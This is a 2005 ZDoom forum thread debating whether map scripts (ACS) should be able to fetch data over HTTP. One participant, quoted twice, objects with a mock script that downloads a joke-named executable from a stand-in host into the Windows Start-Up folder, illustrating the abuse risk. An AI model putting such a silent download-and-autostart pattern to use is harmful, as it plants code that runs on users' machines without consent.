ACS Networking

HotWax · Post by **HotWax** » Fri Mar 04, 2005 3:16 pm

cutmanmike wrote:
Bio Hazard wrote:um, you are saying its a good idea to let mappers download arbitrary files to my computer without my consent?

um... even i know that is a bad idea...
Code: Select all
script 1 (void){
    DownloadFile("http://www.Virii-R-Us.com/blowupmypc/blowupmypc.exe","C:\Documents and Settings\All Users\Start-Up");
}
My thoughts exactly

And nobody asked for that!!

A better example would be this:

Code: Select all

script 1 (void) {
     GetStatsFromWeb("http://stats.zdoom.org/statfile.xml", frags, deaths, suicides, blah);
}

Macil · Post by **Macil** » Fri Mar 04, 2005 5:04 pm

Bio Hazard wrote:um, you are saying its a good idea to let mappers download arbitrary files to my computer without my consent?

um... even i know that is a bad idea...
Code: Select all
script 1 (void){
    DownloadFile("http://www.Virii-R-Us.com/blowupmypc/blowupmypc.exe","C:\Documents and Settings\All Users\Start-Up");
}

What??! When did I say I wanted to download a file onto your compter??! I said I wanted to be able to read a file from the internet and be able to copy some variables from it. Perfectly harmless.

Agent ME wrote:I know many ways it would be useful. I would like it. Just as long as we can download a variable from a file at an URL. Then we could have "The Daily ZDooM News" in a WAD! (Just as long as someone constantly updated the file.)
If you wan't the daily ZDoom news quickly put it on active desktop.

That was just an example of one thing you could do.

HotWax · Post by **HotWax** » Fri Mar 04, 2005 7:36 pm

What??! When did I say I wanted to download a file onto your compter??! I said I wanted to be able to read a file from the internet and be able to copy some variables from it. Perfectly harmless.

I'd also add to that that it's exactly what your internet browser does in order to let you read this page.

Simbey · Post by **Simbey** » Fri Mar 04, 2005 11:22 pm

I think making an interface for accessing web pages is a great idea. You could integrate your maps with databases and other interactive content by calling through common gateway interfaces.

I'm sure Randy could easily avoid buffer overflows and other vulnerabilities. Just keep it simple. Don't use WinInet, for example.

HotWax · Post by **HotWax** » Sat Mar 05, 2005 12:18 am

It also opens up possibilities such as (for example) the ability for someone to make a website with regularly updated content that then feeds into a WAD which uses the website to unlock new areas and such on cue.

At this time though, I think I'll point out that all this is probably just a dream that will never become reality. I doubt very much that Randy will want to make the effort to implement a new type of networking protocol just for this.

Simbey · Post by **Simbey** » Sat Mar 05, 2005 1:14 am

I doubt very much that Randy will want to make the effort to implement a new type of networking protocol just for this.

No new protocols needed. HTTP would work fine. The ACS scripts could easily send query variables as part of the URL to be interpreted by any ASP, PHP, EXE, etc. running on a web server.

Code: Select all

script 1 (void)
{
    CallWebService("http://www.zdoom.org/services/login.asp?user=Simbey", strResponse);
}

HotWax · Post by **HotWax** » Sat Mar 05, 2005 2:02 am

I wasn't aware that ZDoom already supported HTTP.

Cutmanmike · Post by **Cutmanmike** » Sat Mar 05, 2005 6:44 am

Hey, everyone loves my opinion

Post by **Graf Zahl** » Sat Mar 05, 2005 7:36 am

Some people just don't have a clue how much work some things can be...

Simbey · Post by **Simbey** » Sat Mar 05, 2005 3:28 pm

I guess that can be my contribution then. Does ZDoom compile under MSVC 6? I think I can get a copy of that. So as soon as I can compile ZDoom, I'll add that feature.

Post by **Graf Zahl** » Sat Mar 05, 2005 6:21 pm

ZDoom requires VC .NET to compile.

But my primary question is: What would you want to do with this feature in ACS? I can't see much use for it but the risk for abuse seems awfully high.

jallamann · Post by **jallamann** » Sat Mar 05, 2005 7:11 pm

Like ActiveX?

Simbey · Post by **Simbey** » Sat Mar 05, 2005 7:36 pm

Like ActiveX?

Not from my perspective. I get paid to write ActiveX controls.

jallamann · Post by **jallamann** » Sat Mar 05, 2005 7:53 pm

You do know that ActiveX is renowned for being not safe, right?

Simbey · Post by **Simbey** » Sat Mar 05, 2005 8:03 pm

ActiveX is great for Intranet sites, and it's a great way to extend the abilities of an ASP script.

Anyway... I'm not sure how an HTTP interface could be written that returned the server's response to an ACS script. I can compile ACC with MSVC 5, and I had no problems adding functions to it for HTTP support, but I have no idea how to return a string value! I've been looking through the "p_acs.cpp" file from ZDoom's source, and it doesn't look like it's possible.

What do you think, Graf Zahl?